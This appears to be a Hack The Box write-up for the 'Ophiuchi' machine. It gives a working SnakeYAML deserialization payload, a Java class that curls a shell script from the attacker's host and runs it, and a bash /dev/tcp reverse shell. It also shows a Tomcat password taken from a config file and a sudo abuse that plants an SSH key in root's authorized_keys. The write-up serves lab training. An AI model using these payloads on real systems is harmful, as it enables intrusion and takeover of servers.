Ophiuchi has no connections with the constellation Ophiuchus, it was a medium box with a YAML parser. It shared similarities with the machine Time
in terms of the exploitation to provide the initial shell and raced to root via web assembly. The root section was an irksome task dealing with the compiling.
The first enumeration is always a Nmap, and it identified two accessible ports.
Nmap scan report for 10.10.10.227
Host is up (0.21s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Apache Tomcat
running in port 8080 responded with a YAML parser. YAML is a human-readable data-serialization language, that is used for configuration files and in applications. It is a strict superset of JSON.
The landing page resembled the box Time
that had a JSON parser. With the experience in exploiting time
parser, I provided a test JSON, and it returned the following message.
Due to security reason, this feature has been temporarily on hold.
We will soon fix the issue!
A single quote was used to assess the input parsing. It encountered a 500 internal server error as depicted in the below screenshot.
The application was using snakeyaml library, and it had a deserialization vulnerability. If you are not aware of insecure deserialization, Portswigger has a dedicated lab for deserialization vulnerabilities.
Serialization is when an object in a programming language (say, a Java or PHP object) is converted into a format that can be stored or transferred. Whereas deserialization refers to the opposite: it’s when the serialized object is read from a file or the network and converted back into an object.Insecure deserialization vulnerabilities happen when applications deserialize objects without proper sanitization. An attacker can then manipulate serialized objects to change the program’s flow.
I followed Snakeyaml Deserialization article that had a detailed explanation about vulnerability and exploitation. I confirmed the vulnerability using the below script.
YAML parser
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ip:port"]
]]
]
Attacker machine
#nc -lvn 9001
GET / HTTP/1.1
User-Agent: Java/11.0.8
Host: 10.10.14.233:9001
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
The article used a Github repository yaml-payload to exploit. The java file in the Github repository was executing a payload to open a calculator with the help of Runtime.getRuntime().exec
. It was changed to drop a shell by fetching the shell file.
AwesomeScriptEngineFactory.java
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec(“curl http://ip:port/shellfile.sh -o /tmp/newfile.sh”);
Runtime.getRuntime().exec(“bash /tmp/newfile.sh”);
} catch (IOException e) {
e.printStackTrace();
}
}
<snip>
}
Compiling
$ javac src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C src/ .
After making the required modification it was compiled. The compilation was successful and build yaml-payload.jar
file. The next part was to run a server to fetch jar file.
Reverse shell
#!/bin/sh
bash -i >& /dev/tcp/ip/port 0>&1
Payload
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://ip:port"]
]]
]
A python server was started with python3 -m http.server
. But delivering the payload resulted in errors. This phase twisted a bit and reading all the lines in the error, I found the problem. It was not compiled with the appropriate jre version. One thing to suggest after having annoying errors “Read every line when you have an error”.
java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory
has been compiled by a more recent version of the Java Runtime (class file version 60.0),
this version of the Java Runtime only recognizes class file versions up to 55.0
I fixed it by using the appropriate version of jre and it delivered the shell as user tomcat. tomcat
user had no privilege to read the user.txt. There was another user in the box, it was admin
.
tomcat@ophiuchi:/$ls /home
ls /home
admin
The box had Apache Tomcat running in port 8080, it is a free and open-source implementation of the Java Servlet, JavaServer Pages, Java Expression Language, and WebSocket technologies. Apache Tomcat has an admin console, and usually it is installed in /opt
. The config file was located at /opt/tomcat/conf/tomcat-users.xml
.
tomcat@ophiuchi:~/conf$ grep password tomcat-users.xml
grep password tomcat-users.xml
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
<snip>
The password for user admin was whythereisalimit
. The box was half done, the credentials were used to establish an SSH connection as user admin. admin
user had sudo privileges, to run a go file without a password.
admin@ophiuchi:~$ sudo -l
<snip>
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
The index.go
file was performing a deployment using a bash script named deploy.sh
. A webassembly file named main.wasm
was included in the go script.WebAssembly is an open standard that defines a portable binary-code format for executable programs. Here, it was identified that the functions and variables are imported from the main.wasm file. If variable f
equals 1
, it will execute /bin/sh deploy.sh
.
<snip>
func main() {
bytes, _ := wasm.ReadBytes(“main.wasm”)
instance, _ := wasm.NewInstance(bytes)
defer instance.Close() init := instance.Exports[“info”]
result,_ := init()
f := result.String()
if (f != “1”) {
fmt.Println(“Not ready to deploy”)
} else {
fmt.Println(“Ready to deploy”)
out, err := exec.Command(“/bin/sh”, “deploy.sh”).Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
The absolute path was not used in the go script, when the go script is executed, it will read the files from the current working directory. The user admin had no privilege to edit the files in /opt/wasm-functions
. So I copied the folder to /tmp
and tried executing the go script. It responded with a message Not ready to deploy
. The value of variable f
was not 1
that is read from the wasm file. The wasm cannot be directly edited since it was a binary. The text readable format of the WASM binary is WAT(Web Assembly Text). The value of f
can be edited in this format. The webassembly file was copied to the attacking machine using Netcat.
admin@ophiuchi:/opt/wasm-functions$ cat main.wasm | nc <attacking-ip> port #Ophiuchi
$ nc -lvn port > main.wasm #Attacking Maching
To edit the file a tool suit named wabt
available at Github was used. First the file was converted to readable format.
$./wasm2wat main.wasm > main.wat #wasm file converted to wat
$cat main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export “memory” (memory 0))
(export “info” (func $info))
(export “__data_end” (global 1))
(export “__heap_base” (global 2)))
The value of f
was a constant 0, i32.const 0
was changed to i32.const 1
and compiled back using wat2wasm binary and send to vulnerable machine using SCP.
$ wat2wasm main.wat #wat file converted to wasm
$ scp main.wasm admin@10.10.10.227:/tmp/priv
The next part was to add the SSH keys to deploy.sh
. After adding the SSH keys in deploy.sh
, the go script was executed with sudo privilege. Now with the attacking machine’s key added for root, an SSH connection was made and Ophichi was rooted.
deploy.sh
#!/bin/sh
echo $(id)
echo “ssh-rsa <key>“ >> /root/.ssh/authorized_keys
Attacking machine
ssh -i sshkey admin@10.10.10.227
If you are having trouble copying the SSH keys, use Ed25519, it has lots of benefits over RSA. The main advantage while doing hackthebox is that it only contains 68 characters. If you are not familiar with Ed25519 read Comparison of SSH algorithms. The keys can be created using ssh-keygen -t ed25519
.